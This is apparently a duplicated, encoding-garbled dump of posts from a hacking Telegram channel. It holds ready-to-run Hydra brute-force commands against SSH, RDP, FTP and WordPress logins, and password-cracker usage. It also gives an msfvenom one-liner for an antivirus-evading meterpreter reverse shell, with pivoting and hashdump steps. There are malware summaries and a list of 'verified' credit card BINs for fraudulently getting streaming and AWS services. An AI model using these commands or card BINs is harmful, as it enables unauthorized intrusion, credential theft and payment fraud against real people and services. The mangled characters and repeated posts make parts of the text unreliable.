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π¦ Hydra bruteforcing tips
1οΈβ£hydra does not have a native default wordlist, using the Rockyou list is suggested
#example brute force crack on ftp server
hydra -t 1 -l admin -P path to password.lst -vV IPaddress ftp
--> -t # = preform # tasks
--> -l NAME = try to log in with NAME
--> -P filepath = Try password
--> -vV = verbose mode, showing the login+pass for each attempt
2οΈβ£check for joe accounts by adding modifier -e s
3οΈβ£Hydra brute force against SNMP
hydra -P password-file.txt -v $ip snmp
4οΈβ£Hydra FTP known user and password list
hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp
5οΈβ£Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh
6οΈβ£Hydra SSH using a known password and a username list
hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh
7οΈβ£Hydra SSH Against Known username on port 22
hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt
8οΈβ£Hydra POP3 Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V
9οΈβ£Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
πHydra attack http get 401 login with a dictionary
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin
1οΈβ£1οΈβ£Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
1οΈβ£2οΈβ£Hydra brute force a Wordpress admin login
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
enjoyβ€οΈππ»
β git 2020
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π¦ Hydra bruteforcing tips
1οΈβ£hydra does not have a native default wordlist, using the Rockyou list is suggested
#example brute force crack on ftp server
hydra -t 1 -l admin -P path to password.lst -vV IPaddress ftp
--> -t # = preform # tasks
--> -l NAME = try to log in with NAME
--> -P filepath = Try password
--> -vV = verbose mode, showing the login+pass for each attempt
2οΈβ£check for joe accounts by adding modifier -e s
3οΈβ£Hydra brute force against SNMP
hydra -P password-file.txt -v $ip snmp
4οΈβ£Hydra FTP known user and password list
hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp
5οΈβ£Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh
6οΈβ£Hydra SSH using a known password and a username list
hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh
7οΈβ£Hydra SSH Against Known username on port 22
hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt
8οΈβ£Hydra POP3 Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V
9οΈβ£Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
πHydra attack http get 401 login with a dictionary
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin
1οΈβ£1οΈβ£Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
1οΈβ£2οΈβ£Hydra brute force a Wordpress admin login
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
enjoyβ€οΈππ»
β git 2020
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Beating_Windows_Defender_Analysis_of_Metasploit's_new_evasion_modules.pdf
1.8 MB
Beating Windows Defender. Analysis of Metasploit's new evasion modules.
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π¦RANDOM CRACKING RECOMMENDED TIPS :
β git 2020
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π¦RANDOM CRACKING RECOMMENDED TIPS :
#Ophcrack is a free rainbow table-based password cracking tool for Windows 8 (both local and Microsoft accounts), Windows 7, Windows Vista, and Windows XP.enjoyβ€οΈππ»
#The Ophcrack LiveCD option allows for completely automatic password recovery.
#It cracks LM and NTLM (Windows) hashes.
2οΈβ£Pros
Software is freely available for download online
Passwords are recovered automatically using the LiveCD method
No software installation is necessary to recover passwords
No knowledge of any existing passwords is necessary
3οΈβ£Cons
LiveCD ISO image must be burned to a disc or USB device before being used
Passwords greater than 14 characters cannot be cracked
Won't crack even the simplest Windows 10 password
4οΈβ£ RainbowCrack
#The RainbowCrack software cracks hashes by rainbow table lookup.
#To crack single hash
rcrack [rainbow_table_path] -h hash_to_be_cracked
Path - Location of rainbow tables
Example: rcrack c:\rt -h fcea920f7412b5da7be0cf42b8c93759
#To crack multiple hashes in a file
rcrack [rainbow_table_path] -l hash_file
Example: rcrack c:\rt -l hash_list_file
#To lookup rainbow tables in multiple directories
rcrack [rainbow_table_path] [rainbow_table_path2] -l hash_file
Example: rcrack c:\rt1 c:\rt2 -l hash_list_file
#To load and crack LM hashes from pwdump file
rcrack [rainbow_table_path] -lm pwdump_file
#To load and crack NTLM hashes from pwdump file
rcrack [rainbow_table_path] -ntlm pwdump_file
5οΈβ£ acccheck
#Windows Password dictionary attack tool for SMB
#Usage: acccheck [options]
options -t [single host IP address]
-T [file containing target ip address(es)]
-p [single password]
-P [file containing passwords]
-u [single user]
-U [file containing usernames]
#Examples
Attempt the 'Administrator' account with a [BLANK] password.
acccheck -t 10.10.10.1
Attempt all passwords in 'password.txt' against the 'Administrator' account.
acccheck -t 10.10.10.1 -P password.txt
Attempt all password in 'password.txt' against all users in 'users.txt'.
acccehck -t 10.10.10.1 -U users.txt -P password.txt
Attempt a single password against a single user.
acccheck -t 10.10.10.1 -u administrator -p password
6οΈβ£Brutespray
#BruteSpray takes nmap GNMAP/XML output and automatically brute-forces services with default credentials using Medusa.
#usage: brutespray [-h] -f FILE [-o OUTPUT] [-s SERVICE] [-t THREADS]
[-T HOSTS] [-U USERLIST] [-P PASSLIST] [-u USERNAME]
[-p PASSWORD] [-c] [-i]
#Example
brutespray --file nas.gnmap -U /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/password.lst --threads 3 --hosts 1
Attack all services in nas.gnmap with a specific user list (unix_users.txt) and password list (password.lst).
7οΈβ£Crowbar
#Crowbar is a brute force tool which supports OpenVPN, Remote Desktop Protocol, SSH Private Keys and VNC Keys.
#usage: crowbar -b [openvpn | rdp | sshkey | vnckey] [arguments]
Example:crowbar -b rdp -s 192.168.86.61/32 -u victim -C /root/words.txt -n 1
Brute force the RDP service on a single host with a specified username and wordlist, using 1 thread.
8οΈβ£Aircrack-ng
#Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured.
#usage
aircrack-ng [options] <.cap / .ivs file(s)>
To have aircrack-ng conduct a WEP key attack on a capture file, pass it the filename, either in .ivs or .cap/.pcap format.
β git 2020
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π¦ALL RELATED TO METASPLOIT :
β git 2020
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π¦ALL RELATED TO METASPLOIT :
enjoyβ€οΈππ»
# To show all exploits that for a vulnerability
grep <vulnerability> show exploits
# To select an exploit to use
use <exploit>
# To see the current settings for a selected exploit
show options
# To see compatible payloads for a selected exploit
show payloads
# To set the payload for a selected exploit
set payload <payload>
# To set setting for a selected exploit
set <option> <value>
# To run the exploit
exploit
# One liner to create/generate a payload for windows
msfvenom --arch x86 --platform windows --payload windows/meterpreter/reverse_tcp LHOST=<listening_host> LPORT=<listening_port> --bad-chars β\x00β --encoder x86/shikata_ga_nai --iterations 10 --format exe --out /path/
# One liner start meterpreter
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <listening_host>;set LPORT <listening_port>;run;"
2οΈβ£Metasploit Pivot
Compromise 1st machine
# meterpreter> run arp_scanner -r 10.10.10.0/24
route add 10.10.10.10 255.255.255.248 <session>
use auxiliary/scanner/portscan/tcp
use bind shell
or run autoroute:
# meterpreter > ipconfig
# meterpreter > run autoroute -s 10.1.13.0/24
# meterpreter > getsystem
# meterpreter > run hashdump
# use auxiliary/scanner/portscan/tcp
# msf auxiliary(tcp) > use exploit/windows/smb/psexec
or port forwarding:
# meterpreter > run autoroute -s 10.1.13.0/24
# use auxiliary/scanner/portscan/tcp
# meterpreter > portfwd add -l <listening port> -p <remote port> -r <remote/internal host>
or socks proxy:
route add 10.10.10.10 255.255.255.248 <session>
use auxiliary/server/socks4a
Add proxy to /etc/proxychains.conf
proxychains nmap -sT -T4 -Pn 10.10.10.50
setg socks4:127.0.0.1:1080
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Forwarded from Backup Legal Mega
mega.nz
3.72 GB folder on MEGA
122 files and 20 subfolders
Analysis of a Trojan downloader.pdf
3.3 MB
More related to Trojans
-Analysis of a Trojan downloader
-Analysis of a Trojan downloader
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π¦Description of Damn Vulnerable Web Application (DVWA)
Damn Vulnerable Web Application (DVWA) is a PHP / MySQL web application that's damn vulnerable. Its main goal is to help security professionals test their skills and tools in a legal environment, help web developers better understand the process of web application security, and help both students and teachers learn about web application security in a controlled classroom environment.
The DVWA's goal is to practice some of the most common web vulnerabilities, with varying levels of difficulty, with a simple straightforward interface. Please note that there are both documented and undocumented vulnerabilities in this software. This is done on purpose. You are encouraged to try and discover as many vulnerabilities as you can.
WARNING!
> Damn Vulnerable Web Application is damn vulnerable! Do not upload it to the public html folder of your hosting provider or to any server with Internet access, as they will be compromised. It is recommended to use a virtual machine (such as VirtualBox or VMware) that are set to NAT network mode. Inside the guest machine, you can download and install the web server and databases.
π¦Some of the vulnerabilities of the web application that contains DVWA;
β Brute force : Brute force HTTP login page form; is used to test password brute force attack tools and shows the insecurity of weak passwords.
βCommand execution (injection) : Execution of operating system level commands.
βCross-Site Request Forgery (CSRF): Allows an "attacker" to change the Application Administrator password.
File Injection : Allows an "attacker" to attach remote / local files to a web application.
βSQL Injection: Allows an attacker to inject SQL statements into HTTP from an input field, DVWA enables blind and error-based SQL injection.
βInsecure File Upload : Allows an "attacker" to upload malicious files to a web server.
βCross Site Scripting (XSS) : An attacker can inject their scripts into a web application / database. DVWA includes reflected and stored XSS.
βEaster eggs: revealing full paths, bypassing authentication, and some others.
> Home page: http://dvwa.co.uk/
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
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π¦Description of Damn Vulnerable Web Application (DVWA)
Damn Vulnerable Web Application (DVWA) is a PHP / MySQL web application that's damn vulnerable. Its main goal is to help security professionals test their skills and tools in a legal environment, help web developers better understand the process of web application security, and help both students and teachers learn about web application security in a controlled classroom environment.
The DVWA's goal is to practice some of the most common web vulnerabilities, with varying levels of difficulty, with a simple straightforward interface. Please note that there are both documented and undocumented vulnerabilities in this software. This is done on purpose. You are encouraged to try and discover as many vulnerabilities as you can.
WARNING!
> Damn Vulnerable Web Application is damn vulnerable! Do not upload it to the public html folder of your hosting provider or to any server with Internet access, as they will be compromised. It is recommended to use a virtual machine (such as VirtualBox or VMware) that are set to NAT network mode. Inside the guest machine, you can download and install the web server and databases.
π¦Some of the vulnerabilities of the web application that contains DVWA;
β Brute force : Brute force HTTP login page form; is used to test password brute force attack tools and shows the insecurity of weak passwords.
βCommand execution (injection) : Execution of operating system level commands.
βCross-Site Request Forgery (CSRF): Allows an "attacker" to change the Application Administrator password.
File Injection : Allows an "attacker" to attach remote / local files to a web application.
βSQL Injection: Allows an attacker to inject SQL statements into HTTP from an input field, DVWA enables blind and error-based SQL injection.
βInsecure File Upload : Allows an "attacker" to upload malicious files to a web server.
βCross Site Scripting (XSS) : An attacker can inject their scripts into a web application / database. DVWA includes reflected and stored XSS.
βEaster eggs: revealing full paths, bypassing authentication, and some others.
> Home page: http://dvwa.co.uk/
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
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π¦WannaCry|WannaDecrypt0r NSA-Cybereweapon-Powered Ransomware Worm
1) Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
2) Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
3) Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
4) Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. (source: malwarebytes)
> Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm.
5) SECURITY BULLETIN AND UPDATES HERE: https://technet.microsoft.com/en-us/library/security/ms17-010.aspx https://blog.malwarebytes.com/threat-analysis/2017/05/the-worm-that-spreads-wanacrypt0r/
ENJOYβ€οΈππ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
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π¦WannaCry|WannaDecrypt0r NSA-Cybereweapon-Powered Ransomware Worm
1) Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
2) Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
3) Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
4) Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. (source: malwarebytes)
> Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm.
5) SECURITY BULLETIN AND UPDATES HERE: https://technet.microsoft.com/en-us/library/security/ms17-010.aspx https://blog.malwarebytes.com/threat-analysis/2017/05/the-worm-that-spreads-wanacrypt0r/
ENJOYβ€οΈππ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
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Malwarebytes Labs
The worm that spreads WanaCrypt0r
WanaCrypt0r is a ransomware infection that has spread through many corporate networks. Read a technical analysis of the worm that allowed it to do this.
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π¦Canadian MSP disclosed data breach, ransomware attack failed
#News
TrickBotβs Anchor malware platform has been ported to Linux-infected devices and used secret channels to destroy more high-impact and high-value targets.
> TrickBot is a multifunctional Windows malware platform that uses different modules to perform various malicious activities, including information theft, password theft, Windows domain infiltration and malware delivery.
TrickBot is rented by threat actors who use threats to penetrate the network and harvest anything of value. It is then used to deploy ransomware such as Ryuk and Conti to encrypt network devices as a final attack.
> At the end of 2019, both SentinelOne and NTT reported a new TrickBot framework called Anchor, which uses DNS to communicate with command and control servers.
> The malware is called Anchor_DNS and can be used for high-value, high-impact targets with valuable financial information.
In addition to ransomware deployment through Anchor infection, TrickBot Anchor participants also use it as a backdoor program for APT, point of sale and financial system activities
written by undercode
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π¦Canadian MSP disclosed data breach, ransomware attack failed
#News
TrickBotβs Anchor malware platform has been ported to Linux-infected devices and used secret channels to destroy more high-impact and high-value targets.
> TrickBot is a multifunctional Windows malware platform that uses different modules to perform various malicious activities, including information theft, password theft, Windows domain infiltration and malware delivery.
TrickBot is rented by threat actors who use threats to penetrate the network and harvest anything of value. It is then used to deploy ransomware such as Ryuk and Conti to encrypt network devices as a final attack.
> At the end of 2019, both SentinelOne and NTT reported a new TrickBot framework called Anchor, which uses DNS to communicate with command and control servers.
> The malware is called Anchor_DNS and can be used for high-value, high-impact targets with valuable financial information.
In addition to ransomware deployment through Anchor infection, TrickBot Anchor participants also use it as a backdoor program for APT, point of sale and financial system activities
written by undercode
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Forwarded from UNDERCODE HACKING
Using Google Dorks For Hacking.pdf
1 MB
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π¦PROXY PARSER PHP BY UNDERCODE :
<?php<font></font>
<font></font>
$link = 'https://free-proxy-list.net/';<font></font>
<font></font>
$agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36';<font></font>
<font></font>
$ch = curl_init($link);<font></font>
curl_setopt($ch, CURLOPT_USERAGENT, $agent);<font></font>
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<font></font>
$response_data = curl_exec($ch);<font></font>
if (curl_errno($ch) > 0) {<font></font>
die('ΠΡΠΈΠ±ΠΊΠ° curl: ' . curl_error($ch));<font></font>
}<font></font>
curl_close($ch);<font></font>
<font></font>
preg_match_all('#<td>[0-9.]{5,}[0-9]{2,}</td>#', $response_data, $rawlist);<font></font>
<font></font>
$cleanedList = str_replace('</td><td>', ':', $rawlist[0]);<font></font>
$cleanedList = str_replace('<td>', '', $cleanedList);<font></font>
$cleanedList = str_replace('</td>', '', $cleanedList);<font></font>
<font></font>
foreach ($cleanedList as $key => $value) {<font></font>
echo $value . PHP_EOL;<font></font>
}
> Run like this:
php proxy_parser.php
A list of xy proxies will be received
π¦you can uploaded to your github
ENJOYβ€οΈππ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
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π¦PROXY PARSER PHP BY UNDERCODE :
<?php<font></font>
<font></font>
$link = 'https://free-proxy-list.net/';<font></font>
<font></font>
$agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36';<font></font>
<font></font>
$ch = curl_init($link);<font></font>
curl_setopt($ch, CURLOPT_USERAGENT, $agent);<font></font>
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<font></font>
$response_data = curl_exec($ch);<font></font>
if (curl_errno($ch) > 0) {<font></font>
die('ΠΡΠΈΠ±ΠΊΠ° curl: ' . curl_error($ch));<font></font>
}<font></font>
curl_close($ch);<font></font>
<font></font>
preg_match_all('#<td>[0-9.]{5,}[0-9]{2,}</td>#', $response_data, $rawlist);<font></font>
<font></font>
$cleanedList = str_replace('</td><td>', ':', $rawlist[0]);<font></font>
$cleanedList = str_replace('<td>', '', $cleanedList);<font></font>
$cleanedList = str_replace('</td>', '', $cleanedList);<font></font>
<font></font>
foreach ($cleanedList as $key => $value) {<font></font>
echo $value . PHP_EOL;<font></font>
}
> Run like this:
php proxy_parser.php
A list of xy proxies will be received
π¦you can uploaded to your github
ENJOYβ€οΈππ»
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
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free-proxy-list.net
Free Proxy List - Just Checked Proxy List
Here are the latest 300 free proxies that are just checked and added into our proxy list. The proxy list is updated every 10 minutes to keep fresh.
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π¦SOME VERIFIED BINS :
> β Bin For HBO Now Premium
Bin : 650180xxxxxxxxxx
CVV/Date: RND
IP : USA πΊπΈ
Zip Code : 10080
> β | x3 Multifunctional Bins For FuboTV, Tidal, FlixOle try more sites too
BIN: 406032xxxxxxxxxx
BIN: 406068xxxxxxxxxx
DATE: Rnd
TESTED ON:
Tidal (Any plan)
FlixOlΓ©
IP USA πΊπΈ
Zip Code: 10080
> β Bin Amazon AWS
Bin: 531260008116xxxx > β
Bin: 531260009066xxxx > this fail
Bin: 531260505223xxxx > β
Data: 04/23
Status: Works & Tested
IP: United States
π¦Only Checked by Us
E N J O Y & USE FOR LEARN
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π¦SOME VERIFIED BINS :
> β Bin For HBO Now Premium
Bin : 650180xxxxxxxxxx
CVV/Date: RND
IP : USA πΊπΈ
Zip Code : 10080
> β | x3 Multifunctional Bins For FuboTV, Tidal, FlixOle try more sites too
BIN: 406032xxxxxxxxxx
BIN: 406068xxxxxxxxxx
DATE: Rnd
TESTED ON:
Tidal (Any plan)
FlixOlΓ©
IP USA πΊπΈ
Zip Code: 10080
> β Bin Amazon AWS
Bin: 531260008116xxxx > β
Bin: 531260009066xxxx > this fail
Bin: 531260505223xxxx > β
Data: 04/23
Status: Works & Tested
IP: United States
π¦Only Checked by Us
E N J O Y & USE FOR LEARN
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π¦SOME TERMS FOR BEGINERS
1οΈβ£Packing
It is to use a special algorithm to change the encoding of the exe executable program or the DLL dynamic link library file (for example, to achieve compression and encryption) to reduce the file size and encrypt the program encoding, and even avoid the intention of anti-virus software. At present, the more commonly used shells are UPX, ASPack, PePack, PECompact, UPack, Immune 007 and so on. Another important function of the packer is to prevent the software from being cracked.
2οΈβ£Flower instruction
It is just a few assembly instructions to make some jumps in the assembly statement, so that the anti-virus software cannot normally judge the structure of the virus file. To put it simply, "Antivirus software searches for viruses in order from head to toe. If we reverse the head and feet of the virus, the antivirus software will not find the virus.
3οΈβ£Router is
a device used to access the Internet. In the past, a broadband cable was used to directly connect to a computer and enter the password to access the Internet. Why do computers need to be connected to a router now? Because the mobile phone needs to connect to the wifi of the router to access the Internet, the broadband cable is connected to the router, and the computer has no broadband cable, so you can only connect to the router.
4οΈβ£The port needs
to be on the network. Knowing the ip address of a computer is just equivalent to knowing its residential address. To communicate with it, we also need to know which ports it opens. For example, when we go to a hospital, we need to register to 1 You must go to window No. 2 for pricing, and window No. 3 to get medicine. Then the communication with the computer is the same. To access example.com, you have to contact the port 80 of the example.com server, and ftp To log in to the space and transfer files, we have to connect to port 21 of the server again. Therefore, the port is a data transmission channel for receiving certain data and then sending it to the corresponding reply. After the computer processes the data, Then send the corresponding reply to the other party through the port.
5οΈβ£ip address
computer on the Internet have a lot in order to enable them to recognize each other, each host on the Internet is assigned only a 32-bit address, which is called ip address, also called Internet address, the ip address It consists of 4 numerical parts, each of which can take a value of 0-255, and each ip address has 256x256-1=65535 ports.
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
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π¦SOME TERMS FOR BEGINERS
1οΈβ£Packing
It is to use a special algorithm to change the encoding of the exe executable program or the DLL dynamic link library file (for example, to achieve compression and encryption) to reduce the file size and encrypt the program encoding, and even avoid the intention of anti-virus software. At present, the more commonly used shells are UPX, ASPack, PePack, PECompact, UPack, Immune 007 and so on. Another important function of the packer is to prevent the software from being cracked.
2οΈβ£Flower instruction
It is just a few assembly instructions to make some jumps in the assembly statement, so that the anti-virus software cannot normally judge the structure of the virus file. To put it simply, "Antivirus software searches for viruses in order from head to toe. If we reverse the head and feet of the virus, the antivirus software will not find the virus.
3οΈβ£Router is
a device used to access the Internet. In the past, a broadband cable was used to directly connect to a computer and enter the password to access the Internet. Why do computers need to be connected to a router now? Because the mobile phone needs to connect to the wifi of the router to access the Internet, the broadband cable is connected to the router, and the computer has no broadband cable, so you can only connect to the router.
4οΈβ£The port needs
to be on the network. Knowing the ip address of a computer is just equivalent to knowing its residential address. To communicate with it, we also need to know which ports it opens. For example, when we go to a hospital, we need to register to 1 You must go to window No. 2 for pricing, and window No. 3 to get medicine. Then the communication with the computer is the same. To access example.com, you have to contact the port 80 of the example.com server, and ftp To log in to the space and transfer files, we have to connect to port 21 of the server again. Therefore, the port is a data transmission channel for receiving certain data and then sending it to the corresponding reply. After the computer processes the data, Then send the corresponding reply to the other party through the port.
5οΈβ£ip address
computer on the Internet have a lot in order to enable them to recognize each other, each host on the Internet is assigned only a 32-bit address, which is called ip address, also called Internet address, the ip address It consists of 4 numerical parts, each of which can take a value of 0-255, and each ip address has 256x256-1=65535 ports.
@UndercodeTesting
@UndercodeSecurity
@UndercodeHacking
β β β Uππ»βΊπ«Δπ¬πβ β β β